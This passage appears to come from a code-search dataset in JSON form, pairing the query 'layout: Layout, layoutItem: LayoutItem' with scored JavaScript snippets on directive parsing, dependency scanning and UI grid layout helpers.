}, { "docid": "200ffbc3e0ee5888b66c7a1abf9e44bc", "score": "0.44136262", "text": "function findDirectiveMatches(tView, viewData, tNode) {\n ngDevMode && assertEqual(getFirstTemplatePass(), true, 'should run on first template pass only');\n var registry = tView.directiveRegistry;\n var matches = null;\n if (registry) {\n for (var i = 0; i < registry.length; i++) {\n var def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors)) {\n matches || (matches = []);\n diPublicInInjector(getOrCreateNodeInjectorForNode(getPreviousOrParentTNode(), viewData), viewData, def.type);\n if (isComponentDef(def)) {\n if (tNode.flags & 4096 /* isComponent */)\n throwMultipleComponentError(tNode);\n tNode.flags = 4096 /* isComponent */;\n // The component is always stored first with directives after.\n matches.unshift(def);\n }\n else {\n matches.push(def);\n }\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "ec2d7483a8ccdbe9a0fbd5866ed2b7b7", "score": "0.44097537", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "ec2d7483a8ccdbe9a0fbd5866ed2b7b7", "score": "0.44097537", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "ec2d7483a8ccdbe9a0fbd5866ed2b7b7", "score": "0.44097537", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "ec2d7483a8ccdbe9a0fbd5866ed2b7b7", "score": "0.44097537", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "ec2d7483a8ccdbe9a0fbd5866ed2b7b7", "score": "0.44097537", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "ec2d7483a8ccdbe9a0fbd5866ed2b7b7", "score": "0.44097537", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "ec2d7483a8ccdbe9a0fbd5866ed2b7b7", "score": "0.44097537", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n return directives;\n}", "title": "" }, { "docid": "e044cc32aaf576dc90d4bab0e42948f2", "score": "0.44043717", "text": "function grepDepList(entryFilePath, sourceRoot, recursion, ignoreDependedIds) {\n\n var depMap = {};\n var depList = [];\n var fileCache = {};\n\n function walk(path, isMain, recursion) {\n var fileStr = fileCache[path];\n if (!fileStr) {\n fileStr = Util.readFileSync(path, 'utf8');\n // fileStr = fixModule(path, fileStr);\n fileStr = decomment(fileStr);\n // console.log(fileStr);\n fileCache[path] = fileStr;\n }\n var regExp;\n if (isMain) {\n regExp = /(?:^|[^\\w\\.])require\\s*\\(\\s*(?:\\[([^\\]]*)\\]|'([^']*)'|\"([^\"]*)\")/g;\n } else {\n regExp = /(?:^|[^\\w\\.])define\\s*\\(\\s*['\"].*?['\"]\\s*,\\s*(?:\\[([^\\]]*)\\]|'([^']*)'|\"([^\"]*)\")/g;\n }\n\n var match;\n\n while ((match = regExp.exec(fileStr))) {\n var depIds = [];\n\n if (match[1]) {\n if (match[1].indexOf(\".html\") != -1) { //ignore html file\n continue;\n }\n var depStr = removeComments(match[1]);\n depIds = depStr.split(',').map(function (val) {\n val = val.trim();\n return val.substr(1, val.length - 2);\n });\n } else {\n if ((match[3] && match[3].indexOf(\".html\") != -1) || (match[2] && match[2].indexOf(\".html\") != -1)) {\n continue;\n }\n\n depIds = [match[3] || match[2]];\n }\n\n depIds.reverse().forEach(function (dependedModuleId) {\n var dependedModuleFilePath,\n fullDependedModuleFilePath;\n if (dependedModuleId) {\n if (/\\.js$/.test(dependedModuleId)) {\n Util.warn('The module Id end with .js, it usually ignore the suffix \".js\" --> ' + dependedModuleId);\n dependedModuleId = dependedModuleId.replace(/\\.js$/, '');\n }\n for (var i = 0; i < ignoreDependedIds.length; i++) {\n var check = ignoreDependedIds[i];\n if (_.isString(check) && check === dependedModuleId) {\n return;\n } else if (_.isRegExp(check) && check.test(dependedModuleId)) {\n Util.warn('ignore dependedModule -> ', dependedModuleId);\n return;\n }\n }\n dependedModuleFilePath = dependedModuleId + '.js';\n dependedModuleFilePath = dependedModuleFilePath.replace(/^plugins\\//, 'plugin/');\n fullDependedModuleFilePath = Path.resolve(sourceRoot, dependedModuleFilePath);\n try {\n fs.statSync(fullDependedModuleFilePath);\n if (typeof depMap[dependedModuleId] == 'undefined') {\n depMap[dependedModuleId] = true;\n if (recursion) {\n // lazy module\n walk(fullDependedModuleFilePath, true, false);\n // normal module\n walk(fullDependedModuleFilePath, false, true);\n }\n depList.push(dependedModuleId);\n }\n } catch (e) {\n Util.error(path + \" ===> \" + \"Can't find the fullDependedModuleFilePath: \" + fullDependedModuleFilePath)\n }\n }\n });\n }\n\n return fileStr;\n }\n\n walk(entryFilePath, true, recursion);\n walk(entryFilePath, false, recursion);\n\n return depList;\n}", "title": "" }, { "docid": "e5fc2613c6aeb61d9d78518175420a97", "score": "0.44037467", "text": "function addDirective(directives, name, mode, maxPriority, attrStartName, attrEndName) {\n var match;\n if (hasDirectives.hasOwnProperty(name)) {\n var foundDirectives = $injector.get(name + 'Directive');\n var applicableDirectives = _.filter(foundDirectives, function(dir) {\n return (maxPriority === undefined || maxPriority > dir.priority) &&\n dir.restrict.indexOf(mode) !== -1;\n });\n\n _.forEach(applicableDirectives, function(directive) {\n if (attrStartName) {\n directive = _.create(directive, {\n $$start : attrStartName,\n $$end : attrEndName\n });\n }\n directives.push(directive);\n match = true;\n });\n }\n return match;\n }", "title": "" }, { "docid": "7a0fce379dad720e46fd94bfdc4437e3", "score": "0.44026077", "text": "function parseDirectives(lexer, isConst) {\n var directives = [];\n\n while (peek(lexer, _lexer.TokenKind.AT)) {\n directives.push(parseDirective(lexer, isConst));\n }\n\n return directives;\n}", "title": "" }, { "docid": "7df8cf673d17bc24583978ac7abfeebf", "score": "0.43969312", "text": "function findDirectiveMatches(tView, viewData, tNode) {\n ngDevMode && assertFirstCreatePass(tView);\n ngDevMode && assertNodeOfPossibleTypes(tNode, 3 /* Element */, 4 /* ElementContainer */, 0 /* Container */);\n var registry = tView.directiveRegistry;\n var matches = null;\n if (registry) {\n for (var i = 0; i < registry.length; i++) {\n var def = registry[i];\n if (isNodeMatchingSelectorList(tNode, def.selectors, /* isProjectionMode */ false)) {\n matches || (matches = ngDevMode ? new MatchesArray() : []);\n diPublicInInjector(getOrCreateNodeInjectorForNode(tNode, viewData), tView, def.type);\n if (isComponentDef(def)) {\n if (tNode.flags & 2 /* isComponentHost */)\n throwMultipleComponentError(tNode);\n markAsComponentHost(tView, tNode);\n // The component is always stored first with directives after.\n matches.unshift(def);\n }\n else {\n matches.push(def);\n }\n }\n }\n }\n return matches;\n}", "title": "" }, { "docid": "19648fffd794e700624dec4d34bc0bf5", "score": "0.4393232", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var locations = [];\n\n do {\n locations.push(parseDirectiveLocation(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n\n return locations;\n}", "title": "" }, { "docid": "0cdb18a4e2685ecb88e7f36edfab971f", "score": "0.43907538", "text": "function parseDirectiveLocations(parser) {\n\t var locations = [];\n\t do {\n\t locations.push(parseName(parser));\n\t } while (skip(parser, _lexer.TokenKind.PIPE));\n\t return locations;\n\t}", "title": "" }, { "docid": "ed80e55bde3af425bf0ccf8604310fb3", "score": "0.43805745", "text": "get reflections() {}", "title": "" }, { "docid": "2a2ceef14def9852c134c9f34e949662", "score": "0.43736646", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var locations = [];\n do {\n locations.push(parseDirectiveLocation(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" }, { "docid": "2a2ceef14def9852c134c9f34e949662", "score": "0.43736646", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var locations = [];\n do {\n locations.push(parseDirectiveLocation(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" }, { "docid": "2a2ceef14def9852c134c9f34e949662", "score": "0.43736646", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var locations = [];\n do {\n locations.push(parseDirectiveLocation(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" }, { "docid": "2a2ceef14def9852c134c9f34e949662", "score": "0.43736646", "text": "function parseDirectiveLocations(lexer) {\n // Optional leading pipe\n skip(lexer, _lexer.TokenKind.PIPE);\n var locations = [];\n do {\n locations.push(parseDirectiveLocation(lexer));\n } while (skip(lexer, _lexer.TokenKind.PIPE));\n return locations;\n}", "title": "" } ]
86842d174f4a863ce72464a5af76393a
layout: Layout, layoutItem: LayoutItem
[ { "docid": "5965fb6d605cb9b8d27e8d4c6d375fda", "score": "0.0", "text": "function getFirstCollision(layout, layoutItem) {\n for (var i = 0, len = layout.length; i < len; i++) {\n if (collides(layout[i], layoutItem)) return layout[i];\n }\n }", "title": "" } ]
[ { "docid": "644e79f104f4ec3f1f461bb5ffd0f8e2", "score": "0.7144048", "text": "createLayout() { }", "title": "" }, { "docid": "38f2f0bc45ca966762ddf34b30f13df0", "score": "0.6867982", "text": "setLayout(layout) {\n this.layout = layout;\n }", "title": "" }, { "docid": "4468842e3eeaa4f7fb858162537b8047", "score": "0.6564953", "text": "async function create_layout(){\r\n\tvar layout = new dhx.Layout(\"layout\", { //LAYOUT\r\n\t\ttype: \"space\",\r\n\t\tcols: [\r\n\t\t\t{\r\n\t\t\t\tid: 'warehouse',\r\n\t\t\t\twidth: \"15%\"\r\n\t\t\t},\r\n\t\t\t{\r\n\t\t\t\tid: 'rack',\r\n\t\t\t\twidth: \"15%\"\r\n\t\t\t},\r\n\t\t\t{\r\n\t\t\t\ttype: 'item',\r\n\t\t\t\twidth: \"67.5%\",\r\n\t\t\t\trows: [\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tid: 'item_list',\r\n\t\t\t\t\t\theight:\"94.3%\",\r\n\t\t\t\t\t},\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tid: 'pagination',\r\n\t\t\t\t\t\theight:\"6%\",\r\n\t\t\t\t\t},\r\n\t\t\t\t]\r\n\t\t\t}\t\r\n\t\t]\r\n\t});\r\n\treturn layout;\r\n}", "title": "" }, { "docid": "10caccb43b3e97b36a1f9bb053746e6c", "score": "0.65480447", "text": "getLayout() {\n return this.layout;\n }", "title": "" }, { "docid": "32f0d9e027ffcace06499cbf4a8d2f0d", "score": "0.64741904", "text": "function LayoutManager() {\r\n}", "title": "" }, { "docid": "75c9dee8c17eb38a536f2015385ea44d", "score": "0.63523793", "text": "constructor(layout){\n this.layout = layout;\n this.levelItems = [];\n }", "title": "" }, { "docid": "fb739c5525614f94233a50d074e23e62", "score": "0.6315014", "text": "function _computeCustomLayout(){\n\n}", "title": "" }, { "docid": "9c98f3bc20c3685be31f8717cca2ceb6", "score": "0.6309898", "text": "_adjustItems() {\n const layout = this.get('layout');\n if (layout === 'horizontal') {\n this._adjustHorizontal();\n } else {\n this._adjustVertical();\n }\n }", "title": "" }, { "docid": "7146d8801c056c88b94df8914bc18670", "score": "0.62823015", "text": "function updateLayout(layout) {return { type: UPDATE_LAYOUT, payload: layout };}", "title": "" }, { "docid": "1f19c12765599ea8cc3da19df6de0a9f", "score": "0.623092", "text": "function clumping_in_layout(layout)\n{\n //TODO\n}", "title": "" }, { "docid": "ef4204d7d8cac5bb1bfe16f3addd882c", "score": "0.61612093", "text": "layout(width, height, theme) {\r\n\tthrow new Error(\"Component.layout() must be implemented in subclass!\");\r\n }", "title": "" }, { "docid": "5c5bcb6706fc2822310491c96e326875", "score": "0.604715", "text": "layout(state) {\n return state.layout;\n }", "title": "" }, { "docid": "e217e2f17ba3d0ef9e37bdce27fae957", "score": "0.60356045", "text": "getLayout(props) {\n throw new Error(`Implement getLayout for ${this}`)\n }", "title": "" }, { "docid": "f70a82effe19d1817d96e265056722b3", "score": "0.60337955", "text": "function BaseLayouter(){}", "title": "" }, { "docid": "b649d09c69b89d2cc2ae3279595ea523", "score": "0.59736645", "text": "constructor() {\n super('Layout');\n }", "title": "" }, { "docid": "224ed45071d7d6f8a13b363d4a8a0bed", "score": "0.5935854", "text": "function layout(input_=null){\n //\n //A layout must be associated with field and record tag names\n this.field_tag_name;\n this.record_tag_name;\n this.body_tag_name;\n //\n //Initialize the parent mutall object; the properties in input will be \n //added to this object.\n mutall.call(this, input_);\n \n}", "title": "" }, { "docid": "ebb0d02320b7e654d2b1aff835ea378a", "score": "0.5869479", "text": "changeLayout() {\n this.props.changeLayout(\"horizontal\");\n }", "title": "" }, { "docid": "ae97136d97e3fecdbe5d3475168f898c", "score": "0.5846441", "text": "function BaseLayouter() {}", "title": "" }, { "docid": "c63a1c1007d7c1dcefedf9821ecdd075", "score": "0.58403194", "text": "onLayout(left, top, right, bottom) {\n View.layoutChild(this, this.layoutView, 0, 0, right - left, bottom - top);\n }", "title": "" }, { "docid": "89be564f6d071ff29b9b66bee10abf9f", "score": "0.57717395", "text": "function ksfLayout(){}", "title": "" }, { "docid": "8ab81872525e161608151ffebc4fab2f", "score": "0.575094", "text": "function makeLayout(horiz) { // a Binding conversion function\n if (horiz) {\n return $(go.GridLayout,\n {\n wrappingWidth: Infinity, alignment: go.GridLayout.Position,\n cellSize: new go.Size(1, 1), spacing: new go.Size(4, 4)\n });\n } else {\n return $(go.GridLayout,\n {\n wrappingColumn: 1, alignment: go.GridLayout.Position,\n cellSize: new go.Size(1, 1), spacing: new go.Size(4, 4)\n });\n }\n }", "title": "" }, { "docid": "2f8688c67c1f79d51f552cdf7625e43d", "score": "0.57383513", "text": "constructor(config){ \r\n\t\tsuper(config) \r\n\t\tthis.layout = 'row'\r\n\t}", "title": "" }, { "docid": "66aa35accb65ba504a4807c25f05d7e8", "score": "0.57012975", "text": "function changeLayout(val) {\n viz.layout(val).update();\n}", "title": "" }, { "docid": "ddca7103cc162db8ad1ba02d0d3a3aef", "score": "0.56936467", "text": "function addLayout(curId, info) {\n // You can replace any built-in layout except for the first one (for now):\n if (!funcThis.findLayoutByName(info.name)) {\n slideLayouts.push({\n execCb: function (data) {\n return funcThis['cbMakePptxLayout' + curId](data)\n },\n cbData: { layoutRealOfficeId: curId }, // Do we need extendPptxSlideApi? we are not using it any more.\n name: info.name,\n display: info.display\n })\n } // Endif.\n }", "title": "" }, { "docid": "0512241b19a5e599b111d81c7f50a716", "score": "0.5652322", "text": "layout() {\n return this.text(poc2go.config.design.layout.html)\n .then(htm => {poc2go.render._layout = new Layout(htm);});\n }", "title": "" }, { "docid": "e06141255e12be9da68a844e3faf397c", "score": "0.55840325", "text": "function addItem(layout, currentIndex, pathToIndex, data) {\n\n currentIndex++;\n\n if (currentIndex == pathToIndex.length - 1) {\n\n if (layout[pathToIndex[currentIndex]].field.value === undefined ||\n layout[pathToIndex[currentIndex]].field.value == null) {\n layout[pathToIndex[currentIndex]].field.value = [];\n }\n\n layout[pathToIndex[currentIndex]].field.value.push(data);\n return layout;\n }\n else {\n\n layout[pathToIndex[currentIndex]].children = addItem(\n layout[pathToIndex[currentIndex]].children,\n currentIndex,\n pathToIndex,\n data\n );\n\n return layout;\n }\n}", "title": "" }, { "docid": "bc88086c9af76a9d1287c82267fd9c64", "score": "0.5583759", "text": "render() {\n return <View style={{ flex: 1 }}>{this.renderItems()}</View>;\n }", "title": "" }, { "docid": "2396384e6359403ef37d7d427f3b6404", "score": "0.5578652", "text": "_updateLayout() {\n this.layout.rerenderAll();\n }", "title": "" }, { "docid": "31902126257b4202131aa6013ad45525", "score": "0.5574913", "text": "function changeItem(layout, currentIndex, pathToIndex, data) {\n currentIndex++;\n\n if (currentIndex == pathToIndex.length - 1) {\n layout[pathToIndex[currentIndex]].field.value = data;\n return layout;\n }\n else {\n\n layout[pathToIndex[currentIndex]].children = changeItem(\n layout[pathToIndex[currentIndex]].children,\n currentIndex,\n pathToIndex,\n data\n );\n\n return layout;\n }\n}", "title": "" }, { "docid": "924d7b2979f7852515a33db0ce481fb5", "score": "0.5562709", "text": "function LayoutViewer_LayoutViewer({\n id,\n layout\n}) {\n const {\n height,\n margin,\n padding,\n y,\n width,\n x\n } = layout;\n return /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.LayoutViewer\n }, /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.Header\n }, \"layout\"), /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.DashedBox\n }, /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.LabelRow\n }, /*#__PURE__*/react[\"createElement\"](\"label\", {\n className: LayoutViewer_default.a.Label\n }, \"margin\"), /*#__PURE__*/react[\"createElement\"](\"label\", null, margin.top || '-')), /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.BoxRow\n }, /*#__PURE__*/react[\"createElement\"](\"label\", null, margin.left || '-'), /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.SolidBox\n }, /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.LabelRow\n }, /*#__PURE__*/react[\"createElement\"](\"label\", {\n className: LayoutViewer_default.a.Label\n }, \"padding\"), /*#__PURE__*/react[\"createElement\"](\"label\", null, padding.top || '-')), /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.BoxRow\n }, /*#__PURE__*/react[\"createElement\"](\"label\", null, padding.left || '-'), /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.DashedBox\n }, /*#__PURE__*/react[\"createElement\"](\"div\", {\n className: LayoutViewer_default.a.LabelRow\n }, format(width), \" x \", format(height), \" (\", format(x), \", \", format(y), \")\")), /*#__PURE__*/react[\"createElement\"](\"label\", null, padding.right || '-')), /*#__PURE__*/react[\"createElement\"](\"label\", null, padding.bottom || '-')), /*#__PURE__*/react[\"createElement\"](\"label\", null, margin.right || '-')), /*#__PURE__*/react[\"createElement\"](\"label\", null, margin.bottom || '-')));\n}", "title": "" }, { "docid": "6f26aa027e1be2c11677e18bf6ce8706", "score": "0.5487529", "text": "didRenderLayout(_component, _bounds) {// noop\n }", "title": "" }, { "docid": "9481ed7dc755eea694c919ce4514e454", "score": "0.5472324", "text": "getclassname() {\n return \"Layout\";\n }", "title": "" }, { "docid": "9481ed7dc755eea694c919ce4514e454", "score": "0.5472324", "text": "getclassname() {\n return \"Layout\";\n }", "title": "" }, { "docid": "d21c7aa7c5bc37ef6d0c1e38d76da567", "score": "0.546795", "text": "function Layout( options ) {\n\t\t\t\t\tthis.options = extend( {}, defaults, options );\n\t\t\t\t}", "title": "" }, { "docid": "b3c186f917cdf02ef7d8db029205f982", "score": "0.5456622", "text": "function cloneLayoutItem(layoutItem) {\n return {\n w: layoutItem.w,\n h: layoutItem.h,\n x: layoutItem.x,\n y: layoutItem.y,\n i: layoutItem.i,\n minW: layoutItem.minW,\n maxW: layoutItem.maxW,\n minH: layoutItem.minH,\n maxH: layoutItem.maxH,\n moved: Boolean(layoutItem.moved),\n static: Boolean(layoutItem.static),\n // These can be null\n isDraggable: layoutItem.isDraggable,\n isResizable: layoutItem.isResizable\n };\n}", "title": "" }, { "docid": "b3c186f917cdf02ef7d8db029205f982", "score": "0.5456622", "text": "function cloneLayoutItem(layoutItem) {\n return {\n w: layoutItem.w,\n h: layoutItem.h,\n x: layoutItem.x,\n y: layoutItem.y,\n i: layoutItem.i,\n minW: layoutItem.minW,\n maxW: layoutItem.maxW,\n minH: layoutItem.minH,\n maxH: layoutItem.maxH,\n moved: Boolean(layoutItem.moved),\n static: Boolean(layoutItem.static),\n // These can be null\n isDraggable: layoutItem.isDraggable,\n isResizable: layoutItem.isResizable\n };\n}", "title": "" }, { "docid": "438ca63756e87c5a2fc86def590d3fe8", "score": "0.5454314", "text": "function StructureItemGroup() {\r\n}", "title": "" }, { "docid": "23bfc360c8699573912294d46f692876", "score": "0.54241735", "text": "function computeLayout() {\n initializeLayout();\n _paging_1.default.refreshCurrent();\n toggleTopbarMenuScroll();\n}", "title": "" }, { "docid": "a37efe0b8315845cf5368c21ca1c44f6", "score": "0.5424062", "text": "function magicLayout(vm) {\n loadLayout(vm, vm.initial.layout);\n $(document).trigger(\"magicLayout\");\n}", "title": "" }, { "docid": "c65ea0d70f3c736b2288ea1cd4d4fd2f", "score": "0.5418228", "text": "function getParametersFromLayout(layout, params, elements) {\n for (var i = 0; i < layout.length; i++) {\n var item = layout[i]; //console.log(\"item => \",item);\n\n if (item.type == \"item\") {\n //process item, return params\n var widgetParams = getWidgetParams(item.field, elements);\n console.log(\"functionGetParametersFromLayout :: item, widgetParams => \", item, widgetParams);\n params = Array.from(new Set(params.concat(widgetParams)));\n console.log(\"functionGetParametersFromLayout :: item, params => \", params);\n } else if (item.children != null && item.children !== undefined && item.children.length > 0) {\n var childrenParams = getParametersFromLayout(item.children, params, elements); //merge with params\n\n params = Array.from(new Set(params.concat(childrenParams)));\n console.log(\"functionGetParametersFromLayout :: row/col, params => \", params);\n }\n }\n\n return params;\n}", "title": "" }, { "docid": "717d5f8e79ab21f168298d49ed07d5a1", "score": "0.541456", "text": "function changeItem(layout, currentIndex, pathToIndex, data) {\n currentIndex++;\n\n if (currentIndex == pathToIndex.length - 1) {\n layout[pathToIndex[currentIndex]].field.value = data;\n return layout;\n } else {\n layout[pathToIndex[currentIndex]].children = changeItem(layout[pathToIndex[currentIndex]].children, currentIndex, pathToIndex, data);\n return layout;\n }\n}", "title": "" }, { "docid": "65a424313ec720eab5935a09fb613097", "score": "0.5403665", "text": "formLayoutProps() {\n let actionType = 'default';\n if(this.$options.form && this.$options.form.actionType) {\n const opt = this.$options.form.actionType;\n actionType = typeof opt === 'function' ? opt.call(this) : opt;\n }\n\n return {\n ref:'formLayout',\n modal:this.modal,\n messages:this.messages,\n title:this.formTitle,\n formId:this.formId,\n actionType:actionType,\n ...this.$attrs\n };\n }", "title": "" }, { "docid": "c91a8fdbd8ffc7dacec82c122b4046bb", "score": "0.54001915", "text": "onLayoutChange() {\n /*console.log('onLayoutChange');*/\n }", "title": "" }, { "docid": "256e0e50a63a737bee22f03dfd0b4104", "score": "0.5378275", "text": "function addItem(layout, currentIndex, pathToIndex, data) {\n currentIndex++;\n\n if (currentIndex == pathToIndex.length - 1) {\n if (layout[pathToIndex[currentIndex]].field.value === undefined || layout[pathToIndex[currentIndex]].field.value == null) {\n layout[pathToIndex[currentIndex]].field.value = [];\n }\n\n layout[pathToIndex[currentIndex]].field.value.push(data);\n return layout;\n } else {\n layout[pathToIndex[currentIndex]].children = addItem(layout[pathToIndex[currentIndex]].children, currentIndex, pathToIndex, data);\n return layout;\n }\n}", "title": "" }, { "docid": "68603c947ae659c260616885facec7ec", "score": "0.5377972", "text": "defaultLayout() {\n WidgetModel.allAvailable.map(widget => {\n this.newWidget(widget, true)\n })\n }", "title": "" }, { "docid": "caf15af005e58e2e5065d387d07ba9eb", "score": "0.5366691", "text": "function renderLayout(layout, component, params, queryParams){\n\t\t\t\t\t// console.log(\"params ===> \",layout, component)\n\t\t\t\t\tif(Meteor.userId() || component == \"Login\")\n\t\t\t\t\t\tReactLayout.render(eval(layout), { content: React.createElement(eval(component), params)})\n\t\t\t\t\telse\n\t\t\t\t\t\tPanoplyRouter.go(\"/\")\n\t\t\t\t}", "title": "" }, { "docid": "c5c2d6aea5b5bcd8048477532331d6d8", "score": "0.53642243", "text": "function parentLayout(el) {\n\t\treturn parentElement(el, 'jmuiLayout');\n\t}", "title": "" }, { "docid": "9ca48ca9cc836829c2363824127169b6", "score": "0.5360887", "text": "setLayout(layout, data, settings, runID) {\n // Refresh data\n this._data = new GraphData(data);\n // Construct new layout\n switch(layout) {\n case 'force':\n this._layout = new ForceLayout(this._svg, this._data, runID, settings);\n if (this._meta.particles) this._layout.enableParticles();\n break;\n case 'circle': this._layout = new CircleLayout(this._svg, this._data, runID, settings); break;\n case 'scatter': this._layout = new ScatterPlot(this._svg, this._data, runID, settings); break;\n default: throw 'view.js - invalid layout for view';\n }\n }", "title": "" }, { "docid": "9a7d93a7dd99abc95ed256dde1fcd897", "score": "0.53586775", "text": "function Layout() {\r\n return (\r\n <div>\r\n <LoanInformation />\r\n </div>\r\n );\r\n}", "title": "" }, { "docid": "1b1475a946b616fdb82094339361cab2", "score": "0.5337545", "text": "registerLayout(name, construct) {\n this._layouts.push(name);\n construct();\n }", "title": "" }, { "docid": "1f639dc6d9f300674c5a0bbfdf1a1e7a", "score": "0.53239346", "text": "function layoutComponent(obj) {\n\t// Setup tabbar\n\tselfView.backgroundColor = '#ff00f0';\n\tselfView.top = -480;\n}", "title": "" }, { "docid": "3d6baab597c3dbe6fcb04adb176642d7", "score": "0.5319729", "text": "function layout() {\n const content = div(\n {\n dataElement: 'main-panel',\n },\n [div({ dataElement: 'input-container' })]\n );\n return content;\n }", "title": "" }, { "docid": "860995066ce3a91445fb122851206e9f", "score": "0.5319014", "text": "function Main() {\n return (\n <Layout></Layout>\n );\n}", "title": "" }, { "docid": "995467fa5975953fe17980afccf58d22", "score": "0.5291031", "text": "function updateLayout(layout) {\n /**\n * The action that the server must perform\n * @type string\n */\n var action = 'update_layout';\n var data = {\n \"action\": action,\n \"layout\": layout\n }\n // Send the request via helper function updateAppearance.\n postAdminAjax(data, notifyLayout);\n }", "title": "" }, { "docid": "65b16438d2116a87fd5b453e5f102821", "score": "0.527119", "text": "render() {\n return html `\n <ef-layout flex nowrap part=\"container\">\n\n <ef-layout flex container part=\"sidebar\" size=\"${ifDefined(this.sidebarWidth || undefined)}\">\n <ef-layout size=\"auto\">\n <slot name=\"sidebar-header\"></slot>\n </ef-layout>\n <ef-layout class=\"content\" scrollable basis=\"auto\">\n <slot name=\"sidebar-content\"></slot>\n </ef-layout>\n </ef-layout>\n\n <ef-layout flex container basis=\"100%\" part=\"main\">\n <ef-layout size=\"auto\">\n <slot name=\"main-header\"></slot>\n </ef-layout>\n <ef-layout class=\"content\" scrollable basis=\"auto\">\n <slot name=\"main-content\"></slot>\n </ef-layout>\n </ef-layout>\n\n </ef-layout>\n `;\n }", "title": "" }, { "docid": "807fa8fd8bf01dd15a88c8a3fd1c7806", "score": "0.5266787", "text": "render(){\n return(\n <> \n {this.homePageLayout()}\n </>\n );\n }", "title": "" }, { "docid": "f3a646cf0a43d34b21de1c800563bb91", "score": "0.5256839", "text": "_renderItem ({item, index}) {\n return (\n <View style={{flex:1, position: 'relative', width: 60, height: 60, borderWidth: 1, borderColor: '#000'}}>\n <Image style={{width: 60, height: 80 }} source={item} />\n </View>\n );\n }", "title": "" }, { "docid": "482459916254ef6a0f21b931b72988a6", "score": "0.5253418", "text": "function layout(id) {\n return layouts.get(id);\n }", "title": "" }, { "docid": "a89ecb38d8d1cea594fe4cf54128b0bf", "score": "0.524396", "text": "didUpdateLayout(_bucket, _bounds) {// noop\n }", "title": "" }, { "docid": "d8cc8483880f9fee03a9e45a8cea6052", "score": "0.52433884", "text": "static bind() {\n new Layout();\n }", "title": "" }, { "docid": "1338a3fe4dff9c668f3a8b0a08a31320", "score": "0.52414095", "text": "function TimelineLayout() {\n go.Layout.call(this);\n}", "title": "" }, { "docid": "9e9955b10f8ccd5ead761d30b28e4b82", "score": "0.5237925", "text": "function DagreLayout( options ){\n this.options = $$.util.extend(true, {}, defaults, options);\n }", "title": "" }, { "docid": "f04878b4f881c2f010d6b6405ba816e8", "score": "0.5221508", "text": "onLayout() {\n\n // Check visibility\n if (!this._.visible) {\n\n // Not visible\n this._.element.style.display = \"none\"\n\n } else if (this._.layoutMode == View.LayoutModes.InlineBlock) {\n\n // Visible in inline-block layout mode\n this._.element.style.display = \"inline-block\"\n this._.element.style.top = \"initial\"\n this._.element.style.left = \"initial\"\n this._.element.style.width = \"initial\"\n this._.element.style.height = \"initial\"\n this._.element.style.position = \"relative\"\n\n } else if (this._.layoutMode == View.LayoutModes.Block) {\n\n // Visible in block layout mode\n this._.element.style.display = \"block\"\n this._.element.style.top = \"initial\"\n this._.element.style.left = \"initial\"\n this._.element.style.width = \"initial\"\n this._.element.style.height = \"initial\"\n this._.element.style.position = \"relative\"\n\n } else if (this._.layoutMode == View.LayoutModes.Absolute) {\n\n // Visible in absolute layout mode\n this._.element.style.display = \"block\"\n this._.element.style.top = this.top\n this._.element.style.left = this.left\n this._.element.style.width = this.width\n this._.element.style.height = this.height\n this._.element.style.position = \"absolute\"\n\n }\n\n // Notify child views as well\n for (var view of this.subviews)\n view.onLayout()\n\n }", "title": "" }, { "docid": "ce731a19cecb51fd99582ff5293f0754", "score": "0.5219391", "text": "function generateLayout() {\n return _.map(_.range(0, 0), function (item, i) {\n return {\n x: 0,\n y: Infinity, // puts card at the bottom\n w: 1,\n h: 